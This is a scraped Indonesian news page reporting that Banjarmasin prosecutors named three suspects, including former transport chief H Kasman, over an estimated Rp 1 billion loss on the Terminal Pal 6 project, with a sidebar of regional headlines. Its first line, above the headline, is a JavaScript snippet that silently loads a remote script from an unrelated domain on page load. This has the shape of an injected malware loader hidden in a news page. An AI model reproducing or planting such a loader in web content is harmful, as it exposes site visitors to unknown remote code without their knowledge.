(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari Tetapkan Mantan Kadishub Banjarmasin Tersangka Kasus Terminal Pal 6


BANJARMASIN, Kasus dugaan korupsi pembangunan Terminal Pal 6 Banjarmasin yang sebelumnya ditangani Kejaksaan Negeri (Kejari) Banjarmasin, memasuki babak baru. Tiga orang telah ditetapkan sebagai tersangka, salah satunya adalah mantan Kepala Dinas Perhubungan Kota Banjarmasin, H Kasman.

Selain Kasman, dua tersangka lain yang tersangkut kasus ini adalah mantan pejabat pelaksana teknis kegiatan (PPTK), Mahmudi, serta seorang rekanan proyek bernama Ir Fahmi.

Kajari Banjarmasin Taufik Satia Diputra melalui juru bicaranya Kasi Intel Kejari Banjarmasin, Achmad Jusriadi, membenarkan jika penyidik telah menetapkan tiga tersangka dugaan korupsi pembangunan terminal Pal 6 di era Walikota Muhidin tersebut. “Penetapan tersangka dilakukan setelah melalui ekspose serta diperkuat dua alat bukti,” jelas Jusriadi.

Dia mengatakan, penetapan tersangka dilakukan terhadap Kuasa Pengguna Anggaran/PPK pada Dinas Perhubungan Banjarmasin yang melaksanakan pembangunan antara 2013-2015, Pejabat Pembuat Teknis Kegiatan (PPTK), dan kontraktor yang melaksanakan pekerjaan proyek.

Jusriadi kepada wartawan mengatakan, penetapan tersangka telah dilakukan minggu lalu oleh penyidik. Meski demikian, pihaknya belum memeriksa Kasman, Mahmudi, dan Famhi dengan status sebagai tersangka.

Sampai saat ini, pihak penyidik masih terus melakukan pemeriksaan terhadap sejumlah saksi. Termasuk dari kelompok pekerja (Pokja). Dan beberapa waktu lalu, pihak Kejari Banjarmasin juga sempat melakukan peninjauan langsung ke terminal Pal 6, Banjarmasin.

Diduga, kasus tersebut telah menyebabkan kerugian negara mencapai Rp 1 miliar. Hal tersebut berdasarkan asumsi dari temuan Badan Pemeriksa Keuangan (BPK) yang menemukan kelebihan pembayaran sebesar Rp  1.250.621.749.

Terkait hal ini, Sekdako Banjarmasin Hamli Kursani mengaku tak mengetahui penetapan dua orang tersangka ASN dari jajarannya. Hal tersebut mengingat belum ada pemberitahuan resmi yang dia terima dari Kejaksaan.

Sebelumnya, Pemko Banjarmasin pada 2017 lalu sempat menampik jika persoalan tersebut bukan pidana korupsi yang menyangkut kerugian negara. Tapi hanya persoalan administrasi.

Sejak kasus Terminal Kilometer 6 Banjarmasin dinaikkan ke penyidikan umum ternyata puluhan pihak baik dari Pemerintah kota dan kontraktor telah dimintai keterangan atau diperiksa oleh penyidik. Bahkan pihak penyidik korp baju coklat inii ternyata telah memintai keterangan mantan Walikota Banjarmasin Muhidin. Jumlah saksi yang telah dipanggil untuk dimintai keterangan telah mencapai puluhan orang.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

8 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

8 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

9 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

10 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

10 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

10 jam ago

This website uses cookies.